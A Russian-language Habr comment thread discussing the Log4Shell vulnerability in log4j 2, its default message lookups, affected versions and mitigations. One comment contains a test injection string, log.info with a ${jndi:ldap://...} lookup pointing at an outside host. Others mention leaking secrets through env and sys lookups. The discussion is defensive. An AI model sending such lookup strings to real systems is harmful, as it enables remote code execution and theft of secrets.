Pull to refresh

Comments 62

UFO just landed and posted this here
>А уязвимость правда паршивая.
Хм. Перечитал половину ссылок, но так и не понял, до конца, как же ее эксплуатировать. Ну ок, ${jndi:...} позволяет загрузить и выполнить произвольный класс из произвольного места. Дурь конечно несусветная, но… Во всяком случае, насколько я помню, шаблоны такого вида используются в конфигурации log4j, то есть в моем файле log4j.xml, например, а не в тех строках, которые пишутся в лог. Строки-то атакующий может контролировать с высокой вероятностю, например, обычно логируются так или иначе запросы, заголовки и пр. Но мою-то конфигурацию атакующий не контролирует. Я что-то не учитываю?
UFO just landed and posted this here
>сохранении строки в лог эта команда будет выполнена от имени пользователя, от которого запущен сервис.
Ну вот как раз в моем понимании — не будет.

Вот кусок документации на подстановки:
Log4j 2 supports the ability to specify tokens in the configuration as references to properties defined elsewhere.


Видите tokens in the configuration? То есть, я понимаю, как ${jndi:...} записать в конфигурации, и прекрасно понимаю, что это потенциальная дыра. Дырища даже. Но это дырища в конфигурации, то есть атакующий должен контролировать log4j.xml. Чего обычно не бывает, во всяком случае просто так.

А чтобы внешний атакующий смог такое сделать, эти шаблоны должны обрабатываться в логируемых строках. В моем понимании, если я в лог пишу переменную — то в ней подстановки не производятся. И все примеры, которые мне с ходу попадаются на глаза — они содержат именно конфиги, а не логируемые строки.

Судя по всему они написали универсальный обработчик строк. :) Теперь это обрабатывается не только в строках конфигурации а и вообще в любой логируемой строке.

Да, вы знаете, так оно и было. Посмотрел в код.

Раньше было так:
You could disable message pattern lookups globally by setting system property `log4j2.formatMsgNoLookups` to true,
or defining message pattern using %m{nolookups}.

Ну т.е. если в шаблоне не было написано %m{nolookups} — то подставлялось.

То есть по умолчанию в log4j2 было сделано, что подстановки обрабатывались, в том числе в логируемых строках. А последний фикс их выключил.
UFO just landed and posted this here
Да. См. сообщение выше. Все версии начиная с 2.0. Ну или точнее так: от шаблонов и log4j.xml все тоже зависит, например: если написать в шаблоне %m, то парсится и текст сообщения, потому что по умолчанию %m интерпретируется как %m{lookups}.

Если найдется кто-то шибко умный, и у себя в конфиге напишет %m{nolookups}, то его система (скорее всего) не уязвима.

P.S. У меня вообще log4j 1.2.* Он конечно не поддерживается, но зато такой фигни там нет.
В смысле, в 1.2.*? Вполне верю.
А кстати, какая? Мне давно известно, что SocketServer такое, ну… эксплуатируемое, CVE-2019-17571 и даже давно. Но это дырка не того масштаба.

атакующий должен контролировать log4j.xml

Не должен. Конфигурация по-умолчанию это как раз парсить подобные строки и выполнять все, что там написано без каких-либо ограничений. Поэтому в качестве обходного пути предлагают эти конфиги править, чтобы это все отключить. А реальный фикс это отключение этого механизма по-умолчанию в библиотеке и введение белых список ресурсов, откуда можно код скачивать https://github.com/apache/logging-log4j2/pull/608

Уязвимость так же зависит от версии Java. Довольно давно там отключили возможность исполнения кода по-умолчанию, что вроде как смягчает ущерб, но и это все обходится, судя по всему https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ Поэтому патчить придется.

habr.com/ru/company/gms/blog/594921/?reply_to=23810493#comment_23810463

Меня смутило, что в документации на сайте про парсинг строк ни слова, и все примеры — только про конфиги. Вообще такой парсинг означает, что производительность проседает дополнительно, хотя она и так не всегда удовлетворительная, то есть его стоит отключить в любом случае.

Скачивать код вообще запретил бы нафиг, это дурацкая идея, граничащая с диверсией.

Может быть и внутренняя эксплуатация уязвимости, когда злоумышленник, имея доступ к логам, сможет узнать секреты, хранящиеся в property-файлах или переменных окружения через sys- и env-лукапы.

загрузить и выполнить произвольный класс из произвольного места

А как достигатеся выполнение? Там, что ли, по контракту приезжает нечто с методом lookup(), за который дергают?

Именно так. Насколько я помню, StrLookup имплементят куча плагинов, которые можно использовать. Просто никто не предполагал (а может наоборот), что можно загрузить не с нашего хоста…
Порт этой либы, log4net, тоже уязвим?
UFO just landed and posted this here

Уязвимость опирается на JNDI, которое являются частью Java. Если в log4net и будет уязвимость, то другая. В .net тоже есть средства подгрузки чужих сборок, но это надо сильно извратиться и быть конкретным таким вредителем, чтобы реализовать это так же, как здесь.

Ну, скажем прямо, авторы log4j тоже видимо не представляли себе, что можно выполнить jndi лукап с чужого сервера. Вряд ли это было сделано с умыслом.

Вообще, судя по мутному описанию JNDI, в этом вся идея - скачать откуда-то Java объект. Читай, исполнить откуда-то произвольный код. Любому разумному человеку понятно, что любые возможности исполнения кода, полученного из любого внешнего источника, должны быть либо запрещены напрочь (какого хрена это вообще включено в библиотеке логирования), либо хотя бы отключены по-умолчанию.

Это было сделано наверное без умысла, но однозначно кто-то серьезно обосрался. Это базовые вещи и можно только догадываться, кто знал об этой уязвимости до нас.

В Java есть SecurityManager, который позволяет настроить кто что может выполнять, но редкий Senior знает про его существование, а тем более, как его использовать.

Он был объявлен устаревшим в Java 17.

А взамен не стоит запускать недоверенный код, это в любом случае ни к чему хорошему не приводит.

Тем не менее контекстов, где запускают заведомо недоверенный код, обложившись защитами, over 100500. Например, Амазон пускает кого угодно на EC2, лишь бы платил. (Поправку на хостинг террористов, спам и т.п. учёл, тут не важна.) Значит, это возможно. В браузерах тоже одна страница не видит другую и не мешает ей (да, регулярно вылазят проблемы, и их затыкают). Почему тут нельзя было бы сделать такое?

Вариант с запуском в отдельном процессе ОС понимаю. Таки это иногда жестковатая мера.

Ну, с виртуализацией/контейнеризацией конечно это возможно, но тут речь про запуск недоверенного кода в той же самой JVM, где недоверенный код будет взаимодействовать с доверенным. Конечно, можно было бы потратить много усилий чтобы сделать это безопасно (SecurityManager с этим справлялся плохо даже если был нормально настроен, к слову), если бы это было нужно значительному количеству людей. Но нет, почти никому это оказалось не нужно, потому что в большинстве случаев JVM используется для бэкэнда серверов, где недоверенного кода нет, а если таки надо его выполнить, то всегда можно заспавнить процесс в отдельном сильно ограниченном namespace'е, что и проще чем настраивать SM, и безопасней. Не вижу проблемы.

Есть, точнее уже был. Но даже его наличие не мешало несколько раз эксплуатировать уязвимости похожего вида. И потом, настроить его довольно сложно, шансы ошибиться тоже велики.
>скачать откуда-то Java объект
Не, ну в целом-то понятно откуда. JNDI это то место, откуда в JavaEE делались лукапы сервисов, задеплоенных в наш же контейнер приложений (ну, так задумывалось). То есть, по сути, мы знаем, что вот тут живет такой-то сервис, по такому-то пути, и можем его дернуть. Но а) разрешать это делать даже не из кода, не из конфига, а из текста сообщения — это пипец как недальновидно, и б) разрешать лукап из произвольного контекста (произвольный API) недальновидно вдвойне.

Как я понял, эту строку нужно всунуть в запрос в то место, которое будет логироваться. Например все Application Server логируют заголовок запроса, включая и User-Agent. Или вы логируете какое-то пришедшее значение.

Все комьюнити Minecraft тоже в панике, чтобы выполнить вредоносный код на клиенте достаточно получить сообщение в чат, случаи уже есть. Разработчики и r/feedthebeast рекомендуют пока вообще воздержаться от мультиплеера.

Вот PoC: https://www.youtube.com/watch?v=KA5Pyd258kw

В оригинальном лаунчере уже пофиксили и выпустили хотфикс 1.18.1, а вот что делать с кучей кастомных проектов и модпаков пока не особо понятно. -Dlog4j2.formatMsgNoLookups=true вроде спасает ситуацию, но он нужен и на клиенте и на сервере.

А с учетом того, что в некоторых местах до сих пор работают древние версии Java и с фиксами заморачиваться никто не будет, ситуация становится очень печальной.

Спасает только на майнкрафтах 1.13 и выше, на 1.12 и ниже (сейчас это самая популярная версия на публичных серверах) используется версия log4j в которой этого параметра ещё нет.

Уязвимость конечно серьёзная (и очень глупая, потому что делать по умолчанию замену плейсхолдеров в лог-сообщении это прямо рецепт как получить такие проблемы; с другой стороны, если бы разработчики которые используют эту библиотеку читали бы документацию не по диагонали, они бы знали про параметр nolookups и просто добавили бы его), но очень сильно преувеличена.

Именно RCE (загрузка класса и его выполнение) возможно только на Java 8u121 и более старых, на джавах новее требуется специальный флаг чтобы рантайм доверял классам загруженным по URL в соответствии с ответом JNDI или RMI сервера, поэтому на новых джавах можно только чуток попортить лог-сообщения и узнать IP-адрес сервера с программой которая это сообщение залоггировала (UPD: Нет, RCE на новых версиях джавы всё ещё возможен, но сложнее).

библиотеку читали бы документацию не по диагонали, они бы знали про параметр nolookups и просто добавили бы его

Такая логика и приводит к подобным уязвимостям. Такие вещи всегда должны быть отключены по-умолчанию. Если разработчик про них не знает, то он вне угрозы. Если знает, то это уже его проблемы, если его ломанут. А сейчас же косяк целиком и полностью на авторах библиотеки.

Новые версии Java тоже не спасут

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Да, вы правы, с тем что новая версия джавы спасёт ошибся, хоть и эксплуатировать уязвимость с новой версией джавы сложнее. Нужно чтобы в classpath были сторонние определённые библиотеки, что сильно снижает количество уязвимых приложений, на том же сервере или клиенте майнкрафта уже не сработает.

То есть, разработчики встроили интерпетатор в логгер, в который могут попадать произвольные строчки от внешних источников, вот казалось бы, что тут может пойти не так?

Блин это же просто лютейший фейспалм. Сколько там ещё такого может быть?

А теперь задумайтесь над тем, что это открытая либа с открытыми исходниками, которым пользуется чуть ли не половина мира Java разработчиков. И, внимание, уязвимость заметили совсем недавно.
Сколько ещё подобных уязвимостей в привычных всем вещах? Становится страшновато.

А ничего удивительного. В Logback мы внезапно столкнулись с багом, который спровоцировал почти детективную историю поиска отказа в системе. Баг стоит в трекере ещё с 2014 года, но до сих пор не закрыт.

>которым пользуется чуть ли не половина мира Java разработчиков
Ну, это бы хорошо бы померять. Речь ведь про версии 2.*, а у нас скажем 1.*, и никто не страдает от этого. Много ли таких, кто пользуется версиями 2.*, вопрос интересный.
UFO just landed and posted this here

Я так до конца и не понял, версия 1.2.х уязвима вобще к такой атаке или же нет? Или же это все касается исключительно 2.х версий?

UFO just landed and posted this here
Как она может быть да, если там нет такой функциональности, которая была написана в 2.0-бета-что-то-там? Она может быть да, уязвима — но к другим атакам.
проверил, у меня не срабатывает
log.info("${jndi:ldap://log4shell.huntress.com:1389/735a545e-cf12-4990-ad08-3e2e445c2cc9}");

Дичь, в логгере RCE. Спасибо индусам и кровавому энтерпрайзу.

Интересно, сегодня, я думаю, множество IT специалистов вызваны на рабочие места и срочно анализируют наличие или отсутствие дырки в их системах. И ищут следы взлома, если дырка найдена.

Только этим я могу объяснить сравнительно равнодушное отношение к этой новости на хабре.

Я то свои три часа овертайма отработал. Python / Flask / IIS - не задеты

Как насчёт опции "не используем Java, бог миловал"?

Сбер с Тиньковым как раз лежали. Вероятно срочно накатывали фиксы на прод.

В logback есть похожая уязвимость? Кто-нибудь проверял?

На первый взгляд, не должно быть. Там можно тоже из JNDI или внешнего файла что-то вставить в лог, но (судя только по документации) это можно только в конфиге. Но прямо скажем, документации я бы верить не стал, лучше конечно в код поглядеть.

А все потому что не надо быть швейцарким ножом, ставя в приоритет количество фич над удобством и безопасностью.

Как предусмотрительно яндекс переписал log4j на c++ :)

В данной ситуации некрасивую позицию занял Elasticsearch, например. Их официальное заявление: "Elasticsearch is not susceptible to remote code execution" [1]. И в то же время в сети уже появились первые пруфы атак на их систему [2]. Вот зачем так некрасиво врать, спрашивается?

[1] https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

[2] https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ElasticSearch.md

В современном мире использовать elastic - это уже риск, учитывая их текущую лицензию и "мамой клянусь, будем больно бить только Амазон и облачных провайдеров, вас требование на раскрытие всего кода точно не затронет".

Альтернативы ELK? Спасибо заранее)

Смотря для чего. Для логов лучше loki поставить.

Есть OpenSearch + их же Dashboard (прямая замена elasticsearch/kibana, но я их пока не пробовал). Мы пока решили не дергаться, т.к. риск не очень высокий, но, надо понимать, IANAL. С большой вероятностью если вы используете elk/efk внутри организации и не даёте клиентам его как сервис - вы не особо рискуете (или просто Джо Неуловимый для elastic co).

Logstash не факт что нужно менять даже с учётом сказанного выше, не помню его лицензию, честно говоря. Но он не user-facing и под anti-SaaS меры попадать не должен был даже если он сейчас под elastic license v2.

Если хочется ещё альтернатив, то можно подумать про fluentd/fluentbit вместо logstash/xbeat

Что-то мне подсказывает, что если ситуация дойдет до широких масс, то Java вновь станет самым популярным языком (по метрике количества поисковых запросов)...

Sign up to leave a comment.